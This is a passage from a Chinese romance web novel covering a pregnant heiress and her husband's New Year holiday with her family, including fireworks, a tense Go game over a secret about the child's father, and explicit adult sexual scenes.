甄世明给黎铮递了支烟,黎铮摇头拒绝,“宝珠怀孕之后我都戒了。” 甄世明笑了笑,掏出打火机低头点烟,“我以前也不抽烟,先养儿子,后开公司,压力挺大。” 花园里,甄世明的两个儿子正用自己的玩具车推着稍息到处跑着玩儿。 “那位方女士,”黎铮顿了顿,“应该年后就能回国。” 多日之前的深夜,甄世明打电话给黎铮,希望他能动用国外的人脉,帮助他的一个朋友回国。 毕竟是一家人。 黎铮答应了,也做到了。 “谢谢你,妹夫。” 甄世明呼出一口白雾,仿佛整个人都轻松了许多。 “不用谢,我查到了她参加的那个科研项目,实验室的资金正在撤出去,最近有很多科学家都回国了,确实有风声传出来,是那边清算华裔科学家的计划,以后不知道会怎么发展。她的导师不愿意回国,她也不愿意离开实验室,外面动荡,让她回国是对的。” 甄世明露出一个颓唐又苦涩的笑容,“她这个人,总是很倔。” 黎铮看着远处奔跑的孩子,问:“那个姓方的女士,是你孩子的妈妈?” 甄世明摁灭烟头,笑问:“你怎么知道?” 黎铮说:“我看过她的照片,你的孩子长得和她很像。” “像吗?”甄世明也看向远处的孩子,目光中添了几分父亲的温情。 “说实话,我一开始也不太相信。”黎铮说。 “你觉得我是那种喜欢嫩模网红的男人,不相信我和一个女博士搞在一起,还被对方甩了?”甄世明玩笑着拍了拍他的肩膀。 黎铮也笑了笑,没说话。 “感情这东西,很难说准,脑袋里想要的和真正勾着心的,很不一样。”甄世明笑着。 想要的是满天繁星, 一抬头,就只能看到月光清辉。 想要的是整片花海, 一驻足,就停在枝芽新绿的树下。 甄世明认命般轻叹口气,“不管怎么说,我不能让我的孩子没有妈妈。” 关于这一点,黎铮几乎感同身受。 不远处的那棵树下,正站着甄宝珠。 他孩子的妈妈。 * 年夜饭开始了。 爷爷还没有抚平澎湃的心潮,竟然主动拿出珍藏的白酒,说让黎铮他们陪着喝点儿。 黎铮有了上次陪苏秀女士的经验,知道甄家长辈酒量都不错,主动认怂,倒也没人劝酒,苏秀女士也心疼女婿,只说让他点到为止,拉着甄世明和甄玉珠陪爷爷喝了不少。 甄宝珠喝不了酒,坐在黎铮身边,由两小仆人伺候进食,那筷子是指哪打哪。 甄玉珠满意极了,和甄世明说:“哥,把你这两儿子借我使两天呗。” 甄世明喝多了,红着脸骂她:“滚,儿子不借,车也赶紧给我还回来。” 两个小男孩儿伺候在甄宝珠左右,小手轻轻碰甄宝珠的肚子,稚嫩的声音问她:“姑姑,你怀的是妹妹还是弟弟?” 甄宝珠吃饱了往后一仰身,懒散地靠在椅背上打哈欠,“你们猜呢?” 一个说妹妹,一个说弟弟。 吵得不可开交。 甄宝珠喝止他们,又说:“你两打赌,到时候给你们开奖,赌对了我送超跑。” 两个小孩兴高采烈搓搓小爪子,甄世明听闻赶紧叫停:“甄宝珠,教我孩子从小赌博是吧?还超跑,不是我那辆吧?” 甄宝珠把手指比在唇上:“嘘嘘嘘,吵到我的宝宝了。” 甄宝珠现在是全家的重点保护对象,就连甄世明也撇撇嘴闭上了嘴。 饭吃一半,甄厉海通知大家:“我老婆今年买了很多漂亮烟花,一会儿都去后院,春晚开场准时燃放,我就不去了,陪你们爷爷在窗边看,天黑了你们出去要注意安全,尤其是你,宝珠。” 甄宝珠说:“那要不我也不出去了,我陪着爷爷。” “那不行,”苏秀女士说:“你必须得出去看,专门给你准备了一个呢。” 甄宝珠说:“您让我蹲那放炮啊?” “谁让你放了,我让你看,给我孙子看。”苏秀女士神秘兮兮的。 * 饭毕,甄家兄弟姐妹们两三挽手往后院走,甄宝珠的手也被黎铮紧紧握着,放进他的大衣口袋里。 他喝了些酒,脸颊是微醺的,手心是温暖的。 后院果园灯火通明,平台已经清理准备妥当,他们并排站在最佳的观赏区。 戎昱冲他们走过来,得到甄玉珠的命令之后,拿起对讲机说:“开始吧。” 几秒钟之后,身后的照明灯灭几盏,一束直直向上的烟火打开这场璀璨烟花的序幕,漆黑夜空瞬间亮如白昼。 赤橙黄绿青蓝紫,你方唱罢我登场。 最大的那束烟花伴随一声巨响,腾空而起,在天空中绽放成一个可爱婴儿的模样。 甄世明的儿子们拉着爸爸的手蹦跳惊呼,戎昱推着轮椅,手指轻轻放在甄玉珠的肩膀上,苏秀女士笑容灿烂打着电话,“老公,你看到了吗?” 所有人脸上都带着幸福和憧憬的笑容。 期待着这个孩子的降生。 甄宝珠仰着头,在缤纷的光焰中扬起浅浅的笑容,黎铮的目光凝视她充满母性柔光的明眸。 两个人在绚烂烟火中相视一笑。 纵然心跳的鼓点被烟火声掩盖,爱意也会从目光里显露出来。 黎铮搂紧甄宝珠,说:“宝宝。” 甄宝珠仰头看着天空,“是啊,好可爱的宝宝。” 黎铮眉眼含情,笑了笑说:“我在叫你,宝宝。” 这个称呼落在她身上,甄宝珠还觉得怪不好意思的,要是其他人这样叫她,她觉得肉麻又矫情。 可那是黎铮,是她很喜欢的人。 “那你叫我宝宝,以后叫我的孩子什么?”她眨着灵动的双眼,笑意嫣然。 “也叫宝宝,”他把甄宝珠紧揽在怀里,揉了揉她的头发,“你们都是我的宝宝。” “不、”甄宝珠推他的胸口,拒绝道:“请你叫我刘若英,毕竟你说你喜欢刘若英。” 黎铮微微一怔。 这个女人 正跟她浓情蜜意,她这是又想起什么了 “我没有” “你说了,你说你喜欢刘若英,亲口承认的,但你从来没说过喜欢我。”她小嘴叭叭,一脸傲娇,嫌他从来没有名正言顺的表白过。 他吸了口气,捏着甄宝珠的肩膀,目光温暖地看着她,喉结轻轻滚动,郑重又郑重地说:“我喜欢你,很喜欢你,会一直喜欢你。” 对黎铮来说,这句话很难出口。 或许在别人心里,这句话只是情感的表达。 但在黎铮心里,这句话代表着愿意担负一切责任,愿意颠覆固守圭臬,愿意打破所有秩序。 “就这样?”甄宝珠撅嘴,“太敷衍了。” 他握住甄宝珠的手放在自己的伤口处,“以后只有你的命比我的命重要,这是我对你的承诺。” 她伸手去捂他的嘴,“大过年的说什么命不命,你要说,以后我们两个爱国、敬业、诚信、友善的好青年,要共同组建社会主义和谐家庭。” 黎铮笑了笑,指尖蜷起轻轻刮蹭她的鼻尖,想把烟花下无比灿烂的笑容深深刻在脑海里。 “好,我听你的。” * 烟花落尽,灯光又重新开启。 苏秀女士中气十足:“你爷得早睡,所以先放一批,晚上十二点前院还有一轮烟花,到时候你们想出来看就出来看,在房间里隔着窗户也能看。” 回到家,两个孩子陪着爷爷在楼下看春晚,甄世明、甄宝珠陪着父母在棋牌室打麻将,黎铮和甄玉珠在甄宝珠两侧指导她。 一左一右的指导让甄宝珠闹心,比出个“嘘”的手势,“观牌不语真君子。” 甄玉珠笑了笑说:“我不是君子,我可以指导。” “姐”甄宝珠又撒娇磨人。 “行行行,不说了,”甄玉珠的目光望向黎铮,“听说黎总下棋很厉害,爸爸和爷爷都不是对手。” 黎铮眼睫垂下,谦虚道:“爸爸和爷爷都让着我。” 甄厉海啧啧称道:“我可没让,确实厉害,但要我说,你不一定能下得过玉珠。” “黎总,手谈一局?” 甄玉珠仍不肯称黎铮为妹夫。 黎铮顿了顿,见甄宝珠正玩得开心,便推着甄玉珠的轮椅去了棋室。 甄玉珠是这个家里让黎铮唯一忌惮的存在。 她太想保护甄宝珠了。 好像天生与黎铮形成了敌对形势。 甄宝珠随意落下黑子。 棋盘正中,天元。 无声的挑衅与蔑视。 同时她轻飘飘抛出今晚的第一个问题:“打算什么时候告诉她?” 黎铮的指尖捏着白棋,心神莫名不稳。 白子压下,“告诉她什么?” 甄玉珠抬眼对他笑了一下,从容落下黑子,并不急于开口。 待到黎铮的白子将要落入棋盘,她淡淡道:“告诉她,你是孩子的生物父亲。” 第30章 第 30 章 不会被人听到。 安静的棋室, 只有一盏明灯照在棋盘之上,甄玉珠的脸藏在阴影处,看不出表情。 黎铮指尖一颤, 白子行差踏错。 打算捡起落子的手倏然停在棋盘之上。 “看来黎总也明白,落子无悔。”甄玉珠的笑容温润如玉,不急不缓, 捻起黑子落在棋盘。 一步错, 步步错。 况且黎铮的心思早已不在棋盘之上。 “你知道了, 为什么不告诉她?”黎铮的眼中掠过戒备之色, 声线依然平静。 “她现在很喜欢你,我看到了。” 她看到他们十指紧扣,看到甄宝珠眼里爱慕的光芒, 看到她甜蜜的笑容, 只要妹妹能觉得幸福,她也可以装聋作哑。 前提是, 黎铮的心思也能像甄宝珠那样纯粹, 或者即便他只是演戏, 只要妹妹喜欢他,他就得把这出真情戏演到甄宝珠对他厌倦那天。 “你开始接近宝珠有什么目的?”甄宝珠冷淡发问。 黎铮无法不坦诚,“我想要孩子。” 甄玉珠点了下头, 又问:“你想用什么方法来要属于甄家的孩子?” 黎铮嘴唇轻抿,面如平湖, 胸中早已翻腾海浪。 “现在,我只想和她一起抚养孩子。”他深邃的目光望向阴影中的女人。 棋如人生, 总会做出错误的选择和决定。 棋没下完,就还有补救的可能。 甄玉珠向前倾身,目光中怀有深意, “抱歉,我并不了解你,所以会一直盯着你,如果你想做伤害宝珠的事情” “我不会。”黎铮目光沉沉,语气坚定。 甄玉珠唇角轻弯,“看来黎总不喜欢被威胁,或许我赢得不光彩,但你还是输了。” 她落下决胜的黑子,彻底围困黎铮。 是一种无声的威胁。 黎铮松了松袖扣,看着满盘败局,情绪复杂。 甄玉珠也不再看棋局一眼,推着轮椅带着胜者的风度安静离开。 身后响起的男声阴沉,声线带着些狠意,“你是怎么查到的?” 甄玉珠停下轮椅,“我有一个朋友。” “能告诉我名字吗?”他拳头暗自捏紧。 甄玉珠回头笑了笑,“你们很快就会见面的。” 甄玉珠先回到牌室,黎铮紧随其后。 甄宝珠正探着身子偷看甄世明的牌,回头从两人表情里就看出胜败,她笑着说:“看阿铮的表情,他输了。” 他走到甄宝珠身后,俯身看她手里的牌,笑容有些许勉强,“是,我输了。” “输给我姐姐很正常的,她从小就学,陪练都是职业选手,”甄宝珠抬手抚摸他的脸,宽慰道:“不过我一直在赢,甄世明已经快把裤子输掉了。” “不玩了不玩了,”甄世明一推牌,“孕妇手气旺,宝宝命里带财,再输我真得光着睡了。” 麻将不玩了,几人都各自回房,甄宝珠夫妻俩自然是回到她的卧室。 这还是黎铮第一次进入她的闺房,甄宝珠拿着浴巾和浴袍去浴室,让他自己慢慢参观。 奶油色的欧式装潢,拱形门窗外是一块露天阳台,水晶灯下薄纱床幔轻拢,围着淡粉色的公主床,空气中浮动淡雅的馨香,像一座梦幻宫殿。 少女时代的甄宝珠每晚就是躺在这张床上睡觉,做无忧无虑的甜梦。 黎铮不敢坐在她的床上,站在甄宝珠的房间里略有局促,仿佛他还是少年时那个穷小子,不小心闯入公主的城堡。 思懿庄园的房间是否太过寒酸? 他想。 黎铮坐在雕花的小书桌前,桌面也被她打扮得花里胡哨,书柜立着高中课本,掺杂几本言情小说。 他笑笑,手指顺著书脊划过,挑出一本包装精美的校草恋爱笔记,本以为是一本言情小说,翻开之后他才发现,里面是甄宝珠和初恋男友互相传递的恋爱笔记。 好奇心驱使,他翻了几页,觉得这本校草恋爱笔记更应该叫保姆操作指南。 甄宝珠潇洒肆意的字体占半页,那位校草规规矩矩的行楷跟在下面,像跟在公主身后的小喽啰。 【明天给我带早餐,我想吃麦当当。】 【行。】 【下课帮我打水吧,我想睡会儿。】 【好的。】 【轮到我值日了。】 【懂了。】 甄宝珠从小就把男朋友训得像保姆一样,服服贴贴,对方唯一对她说不行的时候,是她说周末要和朋友去外地玩儿,让他别想她。 puppy love,黎铮唇边漾起笑容。 又翻了一页,他笑不出来了。 【和我亲亲是什么感觉?】 【甜甜的,嘴巴软软的。】 【明晚你去我家,我们再探索一下。】 【这样不好吧上次我从你家摔下来,你哥哥还警告我了。】 【别废话,我想探索,记得穿那条灰色卫裤。】 “啪” 黎铮用力合上甜腻的初恋笔记,揉捏鼻梁调整呼吸。 没关系,初恋根本不懂爱情。 没准是探索科学呢? 甄宝珠从浴室走出来,拨了拨刚吹过的头发,带着一身潮热的香气走到黎铮身边,还没开口,就两腿离地,足尖在半空晃荡,手臂抱住宽阔肩膀,臀下是黎铮结实的大腿肌肉。 他的手臂挡在浴袍后也护住她的腰,指尖在桌上敲了又敲,幽深目光在她脸颊来回逡巡,最终钉在她的唇上。 甜甜的,嘴巴软软的。 黎铮眉间深凝。 甄宝珠润了润唇,心也紧嵌进他怀里。 黎铮这是…想亲她吧? 闭上眼睛,长睫微抖,她又凑近了些,唇边浅浅弯起,等待黎铮滚烫的热吻作为新年礼物。 黎铮钳住她的下巴,微微一拧手腕,她的脑袋偏向书桌,沉重的呼吸远离她撅起的嘴唇,来到她的耳边。 一睁眼,【探索】二字写得太大。 耳后一声冷哼,她汗毛都竖起来了。 想挣扎一下,她唯唯诺诺,“我说探索科学你信吗?” 又是一声冷哼,她缩了缩脖子。 还能再挣扎一下,“初恋,不懂爱情,要不您洗个凉水澡先压压火?” 黎铮横抱起她,扔在床上,人就去了浴室。 她悄咪咪起身,偷感十足到处寻找藏书地点,人太慌乱,以至于黎铮从浴室出来,她都没来得及藏好,把书抱在胸前用手挡着。 “你、你怎么这么快就出来了?” “我只洗了洗手。”他举着干净的双手走近她,低头望见怀里的书,冷淡道:“这么宝贝,舍不得放下。” “不啊,我” 话没说完,黎铮将她重新压倒在床上,书也脱手掉在地上。 洗手液的香气钻入鼻腔,黎铮的手指摩挲着她的唇瓣,指腹的细茧碾过软嫩的唇,冰凉的感觉直冲脑顶,她想张嘴解释,微微打开的唇被他压紧,禁止她所有的声音和动作,手指在唇上停了会儿,确定她不会妄动才挪开。 “喜欢灰色卫裤?”他低声问。 剪裁考究的西裤压住她的小腿,微凉的布料紧贴膝弯,锋利裤线刮过光滑皮肤,羊绒的触感也变得粗糙,像驻足在夜晚的海边,沙石粗粝磨着脚心,冰冷海水滚来漫过脚踝,但心中雀跃跳动的火把,越烧越烈。 “不…” 黎铮的呼吸贴得紧密,张嘴咬住她的唇,有点儿疼,更多的是痒,他的气息扑在脸上很痒,唇齿间的研磨很痒,他的舌尖带着粗重气息闯进口腔,勾着软舌翻滚,让她没有躲藏的地方,只能顺从地依附,任他攫取掳夺。 像一场扫荡,她被打得落花流水,眼睛也湿湿的。 身体不由紧贴着他,黎铮却停了下来。 她喘着气,娇气的。 他喘着气,略带发泄的。 “你对自己的身体探索出了什么结果?” 黎铮望着艳红肿胀的软唇,克制住再亲上去的冲动。 “你想知道?” “嗯。” 黎铮觉得自己简直疯了。 所有的冷静、理智都抵不过嫉妒的威力,他从未想过自己竟能说出如此恬不知耻的话。 他也觉得自己下流, 想到甄宝珠会生气,会骂他,会打他。 可她脸颊滚烫,紧抓他的手,踌躇着、又迫切地向下探去。 “这里?”他轻声。 “嗯。”她抿着唇,声音也轻轻的。 甄宝珠的脸快烧着了,身体也快烧着了,纤细的手指带着黎铮的腕骨游走,另一只手背挡住自己的嘴唇,抑住难忍的哼吟。 左边卧室是姐姐的,右边卧室是爸妈的。 “我想亲你。”黎铮忽然停止,垂着眼尾看向她,眼中难掩欲望的痕迹。 她迟疑着挪开手背,黎铮的指节在同时没入,让她浑身颤抖,脑内的神经仿佛漏电的天线,闪着火花,轰的一下炸开。 该死,他又耍她。 正要抬手捂嘴,他的唇又强压下来,忘情又真实地吻她,她恨恨咬他的舌头,怪他耍戏自己,她一咬,他就停下来,连手上的动作一起停下来,她一松口,他就更深地吻她,更深地挑动。 最后她眼带泪花、头发凌乱、睡衣皱褶,他却衣衫整齐,连皮带都紧嵌在身上,她心有不甘,试探用指尖勾开他的皮带,却被他的手臂挡开。 “不许乱动,到了之前不许动,能做到吗?” 不像问句的问句,倒像是严肃地指令。 这个时刻想要安全的男人,却不知道自己本身就散发着危险的气息,恰巧这种危险气息时刻吸引着离经叛道的甄宝珠。 “距离十二点还有十分钟,放烟花的时候你的声音才不会被人听到。”他抬腕看表,把时间都掌控清楚。 十分钟很快,比每一次都快。 烟花升腾在天空炸出巨响,盖过房间里充斥情欲的颤音。 她也像焰火直冲高空,痉挛同时被他紧紧抱在怀里,柔情嘴唇吻着耳垂厮磨、轻语:“不管发生什么,别离开我。” 前一刻钟向她发出不容置喙的指令,下一刻钟请求她不要离开他。 这个充满矛盾的男人,放弃内心对抗,剥出一颗真心来对她,而她也愿意接过这颗柔软的心,护在怀里。 她的手掌覆压在他胸口的伤痕位置,这是她的承诺。 * 烟火落尽,她靠在黎铮臂弯。 黎铮吻了吻她汗湿的额头,说:“新年快乐,我给你准备了新年礼物。” 甄宝珠伸展酸软的小腿,笑说:“你的礼物我很喜欢。” 黎铮微怔,掏出一个黑丝绒方盒,在她面前打开,“我是说这个礼物。” 一枚镶嵌珍珠的戒指,泛着极光、大得夸张。 “我们结婚这么久了,还没给你送过戒指。”他温声道,眼神也变得内敛。 甄宝珠也愣了须臾,又调笑他:“我现在是贤者时间。” 虽然是贤者时间,但看到戒指那一刻,她的心还是愉悦地怦怦直跳。 “知道,所以你才冷静,所以我才问你要不要戴上?”他拿出戒指,有些忐忑。 “可是,你好像还没有冷静。”甄宝珠冲着他吐了吐舌头,指尖刮过他的皮带。 黎铮捏住她乱动的手,说:“我不拿下半身思考。” 甄宝珠撇撇嘴,“那我就勉为其难接受吧。” 黎铮笑了笑,为她戴上戒指,白金戒圈在她指尖滑动,黎铮的指节被泡得微微发白,给她套上戒指的那一刻也显得十分色.情。 戒圈正合适,他闭上眼睛,虔诚地亲了亲她的手。 “你是不是没送过女生礼物?”她躺在浴缸里,举起手看着珍珠在灯下的柔润光泽。 这枚巨大的珍珠,直径几乎盖住她两根手指,很符合他对女生礼物的土味审美。 大、亮、贵。 “没送过。”黎铮坐在浴缸外帮她清洗。 “其实,这个礼物我不太满意。”她努嘴道。 黎铮忽然顿住,“明天我带你去首饰店或者拍卖行看看。” 她的手臂搭在浴缸边沿,翘起指尖戳黎铮的胸口,对他衣衫依旧整齐表示不满:“这么慇勤?你不会真不行吧,想补偿我?” “你现在怀孕,我怕伤着你。” 甄宝珠切了一声,“我不信。” 她拿起黎铮褪下的手表,“你自证一下,坚持…二十分钟吧。” “如果我说不呢?”黎铮俯身,手臂撑着浴缸问。 “那我就把你的珍珠戒指扔水里,顺着下水道流到太平洋。”甄宝珠说。 “那你会帮我吗?”他问。 “你想让我怎么帮你?”她转身趴在浴缸边,凑近他的脸,鼻尖轻碰他的鼻尖。 他解开皮带,说:“让我看着你。” * 他们从浴室出来,已经是凌晨两点。 黎铮抱着疲惫的甄宝珠睡去,没发现一条短信在午夜十二点溜进他的手机。 【黎,Happy Lunar new year!】 30-40 第31章 第 31 章 这么能忍? 黎铮把她从浴室抱出来, 望着床单上还未干的湿印,他找来衬衫想要盖住,一说让她抬起腰, 她又动了些歪心思,双腿攀在他身上不肯松开,撒娇让黎铮再帮她一次。 甄宝珠不懂节制。 黎铮当然不可能惯着她。 她气哼哼、心痒痒地睡觉。 一觉醒来, 天光大亮。 黎铮也不在她床上了。 起床她又觉得腰酸腿酸, 庆幸昨夜黎铮没顺从她, 不然估计下不了床。 下楼就见黎铮正在和爸妈姐姐一起包饺子, 整个人神采奕奕,在那当二十四孝好女婿,他还穿着昨晚垫在她臀下的衬衫, 衬衫被打理得不留褶皱, 丝毫看不出蹂躏过的痕迹。 她懒懒散散走到他身后,手指在他衬衫背后画了个圈, 描绘昨夜湿印浸染过的地方。 黎铮的脸立刻微微泛红, 回头看她, 问:“你醒了?” 苏秀女士嫌弃道:“大过年的还赖床,拿炮都轰不醒,你看人家小黎, 早上六点就起来帮忙了,赶快去把你哥叫起来, 一个比一个能睡。” 甄宝珠和黎铮对视一眼,用目光凶他, “我才不去,我也帮忙包饺子。” 桌上除了饺子皮和各种馅料,还整整齐齐摆着九个精致的金元宝, 准备被包进饺子里。 “咱家今年是九口人,明年就是十全十美了,宝珠你可多吃点儿,最好一次吃出两个金元宝。”苏秀女士说。 甄宝珠捏起一个小元宝,把黎铮赶到一旁,“我自己包,绝对一眼就能认出来。” 她把饺子皮揉成团,也不放馅儿,直接全糊在金元宝上,捏成一个元宝形状。 “这个是我的,看清楚啦,”她把元宝饺子托在手心里到处展示,还不忘指导黎铮:“你把饺子都包得一模一样,怎么看出哪个有元宝?” 黎铮低头看着他自己包的饺子,说:“不一样,我能看出来。” 甄宝珠看了半天也没看出哪里不一样。 饺子上桌甄世明才闻着香味懒懒下楼,一动筷子就夹起甄宝珠的元宝饺子,“这是哪个弱智包的饺子,这么明显?” “甄世明,那是我的,你还给我!”甄宝珠就差站起来了。 “哦,你的呀?”甄世明在元宝两边各咬一口,“你还要吗?” 甄宝珠目瞪口呆,真想一筷子扎他嘴里。 她气呼呼坐下,低头一看,碗里被放进两个饺子,黎铮和甄玉珠坐在她左右两边正看着她。 她左看右视,感觉有点儿不对劲。往前倾身,就能看到他们溺爱的笑容,往后一缩,就看到两人对视之间的敌意。 “吃这个,宝珠。”左右声道异口同声。 甄宝珠举着筷子为难,手心手背都是肉,先吃哪个都不行。 只能硬着头皮端起碗,仰起头,一口干了两个饺子,她鼓着腮帮子左右笑笑,脸颊的酒窝都没了,撑出两个圆润的元宝印。 两人期盼的眼神又同时黯淡。 “怎么样,甄世明?”她用筷子扒拉桌上两个金元宝,对甄世明耀武扬威。 甄世明眼睛都看直了,又靠着椅背揶揄:“有苦在心口难开吧?” “嫉妒让你面目全非吧?”甄宝珠哼了一声。 一顿饭吃得甄宝珠心惊胆战,本以为只是一顿饺子的事儿,结果这两人的明争暗斗、争风吃醋进行了好几天。 甄宝珠实在吃不消,年初四一大早就拉着黎铮和稍息回家了。 * 回到家里她就对黎铮展开批评,说他心眼儿小,跟素未谋面的前男友吃吃醋也就算了,怎么还能跟她姐姐吃醋呢? 黎铮不说话,别过脸去。 明显是不爱听。 甄宝珠骂累了就要上楼睡回笼觉,让他把狗拉出去遛了,连人带狗一起赶出家门。 在床上躺了会儿,她又觉得腰疼,躺在床上喊黎铮,用声音检测器叫他回来。 “我现在肚子越来越大,横躺侧卧都不舒服,你让我舒服舒服。”她翻了个身,拍床垫示意他躺下,眉梢轻佻。 黎铮仍有点儿不高兴,站在她床边不动,怨气还挺大,“大上午的,舒服什么?” “你想什么呢?”她捂嘴笑道:“我是要你当抱枕,不是要强.奸你,快躺下。” 黎铮不情不愿平躺在床上,甄宝珠侧身凑了过来,拉住他的手臂垫在鼓起的小腹下,“这样还行,腿张开。” 纤细的小腿在床尾勾拉,甄宝珠整条腿都盘在黎铮结实的大腿上。 “保持姿势别动,”她揶揄:“也别随地大小硬。” 黎铮仰躺不动,身上挂着个甄宝珠,她的手伸进衬衫,贴在他胸口取暖,下巴垫在他肩头,轻柔鼻息扫过他的颈窝,他盯着天花板,保持着难忍的姿势。 甄宝珠眯了一小觉醒来,黎铮闭着眼,好像睡着了,姿势倒是一直没变。她贴着黎铮的脸蹭了蹭鼻尖,他仍是没醒。 看来在甄家过年也把他累得够呛。 她悄悄起身,扯了扯身上的薄被,打算给他盖上,就发现这人没醒,其他地方倒是醒了。 她转了转眼珠, 你小子装睡是吧? 甄宝珠悄声叫他的名字,黎铮没动。 她咬着手指看他微微抖动的睫毛,窃笑低语:“太好了,黎铮睡着了,我又能吃糖了。” 侧身扒开床头柜左翻右找,一下子被人拽住后脖领子,后脑勺又撞在他胸前。 黎铮撑着胳膊支起半身,一副人赃俱获的样子。 她惊恐地攥紧手心,慌慌张张问:“你什么时候醒来的?” “听到你说吃糖的时候,手里拿的什么?”他阴沉着脸,向她伸出手,等着她主动吐脏。 她身子侧到一边,把手也藏在身后,做贼心虚地躲闪目光,黎铮失去耐心,捏住她的手筋,把一根根手指扳开。 绵软手掌里躺着方方正正的包装,草莓味,却不是糖果。 “你要吃吗?”她吭哧吭哧笑着,往前递了递手。 黎铮的脸有点儿发烫,“你什么时候买的?” “第一次我想睡你的时候,你记得吗?当时你把我推开了。”她模仿黎铮当时沉着脸的样子,做出夸张地嫌恶表情,“现在,从我身上下去~” 关于这一点黎铮有不同的看法,他认为甄宝珠第一次想睡他应该是做春梦那次,往后推也起码是在他衣服上留下湿印那次,就算是沙发上那次,他当时的表情应该也不是这么凶巴巴的。 但现在已经不用再争论这个了,黎铮现在的处境才是个很难的难题,毕竟甄宝珠的手掌就一直摊开,摆在他眼前。 她鬼头鬼脑地笑,“你还装睡,我早就发现了。” 他自认为伪装得很好,问:“你怎么发现的?” 甄宝珠向下瞥眼,怒了努嘴,他也顺着往下看,登时面色潮红。 他的睡裤渗了一小圈印记。 她的手指在脸颊侧划了划,嘲笑他:“羞不羞?像尿裤” 话没说完,就被黎铮揽进怀里,用热烈的吻堵住了嘴,掌心的东西也被他顺势拿走,热烈地缠吻让甄宝珠感觉身上燥极了,很快她就不满足于亲吻,迫不及待地对黎铮上下其手。 他的丝质睡衣触感丝滑,胸肌和腹肌的形状都能被甄宝珠的手指画出来,他握住那只不安分的小手,在手背亲了一口,又不轻不重咬了一下,顺着手臂轻轻啃咬到脖颈,她在疼和痒之间感受着黎铮嘴唇的温度,所到之处,皮肤也变得滚烫,人也更软了,她仰起脖颈,微微喘着气,闭眼等待着他的吻再次落在嘴唇。 黎铮却在她耳边停住,问她:“你想今天用吗?” 她睁开眼睛,没来由地羞臊:“你不想吗?” “我担心会弄疼你。”他的每个吐字,都滚烫地传入她的耳朵里,变成肌肤的厮磨。 她转过头,用唇轻碰那双柔情的嘴唇,“你没查资料吗?” 他早查过,孕期的性.生活确实能让孕妇心情舒畅,还有助睡眠,但他严重怀疑自己的自控能力,担心没轻没重弄疼她、弄伤她。 黎铮拿起草莓味的包装细看,眉头皱了皱,说:“你买小了。” “啊?”甄宝珠拿起包装看,她当时随手抓了一盒,没看到自己买的是最小号。 怪不得当时店员看她的目光有些许同情。 黎铮叹息一声,轻咬她的耳垂,“故意的?” “不是”她急着解释,“我随便买的。” 勉强能套进两根手指,他沉沉的呼吸声在她耳边,遗憾又隐忍:“事已至此,只能再伺候你一次了。” “那这次我能出声吗?”她想到家里的声音监测器。 黎铮拿起手机拨了通电话,严肃的表情让他手上的动作看起来更下流。 “关掉声音检测器。”他对着手机那头施令,手指夹住扯了一下。 甄宝珠差点叫出声,黎铮握着手机,手指比在唇上,低声制止:“Not Now.” 挂断电话,他又认真查看手机,确定已经关闭了声音监测器,才开始勤勤恳恳耕耘。 甄宝珠也给了他所有想听的声音,奖励他身体力行。 下了床,什么都可以听甄宝珠的,但床上那点儿事,黎铮总是喜欢由他主导,他说他喜欢掌控,甄宝珠咬着唇,手指穿插在他茂密的黑发中。 她心想,难道他不知道这叫服务,不叫掌控吗?算了,他觉得是掌控就掌控吧。 反正她现在脑子短路,没有和他争的心思。 情到深处,甄宝珠的手机铃声在床头响起,她向上滑了滑身体,探手去拿手机,却被黎铮拉着胳膊,把她的手紧贴在他后背。 电话响了又响,她喘着气挣脱,说:“我看看是谁。” 拿起手机看了一眼,她说:“是游悠,等会儿给她打回去吧。” 黎铮面色不悦,对她半路分心的行为颇为不满。 她刚要挂断,黎铮拿起她的手机,接通了电话,放在她耳边。 “新年快乐,恭喜发财。”游悠元气满满,用粤语给她拜年。 “” 她捂住嘴,压抑着声音,黎铮挑了挑眉,示意她说话。 “嗯。”甄宝珠的大脑在兴奋边缘,简短回答。 “你怎么不恭喜我发财?嫌我给你拜年晚了?”游悠说。 “没有在睡觉。”她扬着脖颈,脸颊通红,支支吾吾。 甄宝珠也不算撒谎,确实在睡觉,只不过身上还压着一个男人。 “孕妇就是觉多,什么时候出来玩儿啊?我今天刚从港城回来。” 黎铮又加了一根手指,甄宝珠快要崩溃了,开始咬自己的嘴唇,也推黎铮胸口。 “过两天吧”甄宝珠哼哼唧唧的。 手机贴在左耳,黎铮的唇贴近右耳。 游悠说:“对了,魏铭回来了。” 黎铮轻舔她的耳垂,“这么能忍?” 烘热气息喷洒在她光滑的皮肤,激起细小颗粒,像风吹过湖面泛起涟漪。 她咬着唇,说:“嗯。” “约个时间吧,后天怎么样?我们一起吃饭。” 黎铮跪在床尾,俯下身躯,柔情的嘴唇吻住她湿润的唇。 她浑身颤抖,迅速挂断电话。 一场海啸席卷她的四肢百骸。 第32章 第 32 章 不含特殊服务。 日头已经落了山, 他们才结束。 她懒懒地靠在黎铮怀里。 黎铮问她,“肚子疼吗?” 她摸着肚子,摇头说累。 “我帮你洗澡?” “还来?饶了我吧。” “不是, ”黎铮脸色微赧,“不含特殊服务。” 甄宝珠搂住他的脖子,整个人挂在他身上, 黏糊糊撒娇:“我歇会儿。” 她一直躺着, 倒没出什么力气, 只是全身空乏, 也想再温存一会儿。 黎铮抱她走进浴室,洗去她一身香汗淋漓的疲惫,修长手指在头顶按摩, 力道不轻不重, 顺便给她按了按肩膀。 “你不是说不含特殊服务嘛?” “这是日常服务,不特殊。” 甄宝珠笑笑, 手又不总老实。 黎铮拉住她的手, 给她肩膀黏了片玫瑰花瓣, 将她封印起来,“不许乱动。” 她笑黎铮幼稚,黎铮也笑。 清波花瓣流淌过她的身体, 隆起的小腹不时在玫瑰花瓣中浮起,露出白皙的肌肤。 “你有没有考虑过水中分娩?”黎铮给她的头发涂上发膜, 问道。 她仰着头,手指在浴缸边缘轻叩, “不许抹到头皮上,水中分娩?没听说过呀。” “就是像现在一样,没有医疗设备, 在温水浴缸里自然分娩,据说会减弱痛感,你不是最怕疼?” 甄宝珠黠笑,“你怎么懂这么多?是不是和我哥一样,外面有好几个私生子?” 黎铮没说话,沉默了会儿。 根据之前的经验,一般情况下黎铮不说话就是默认了。 甄宝珠有点儿心慌,扭头一甩头发:“黎铮?!” “我是听刘医生说的,她还推荐我们去孕妇学校上课,”黎铮成心逗她,见她慌里慌张的小表情,朗声笑道:“分娩培训课在后天,我陪你一起去。” 甄宝珠两手捧水,把浴缸里的水泼在他脸上,“吓死我了。” 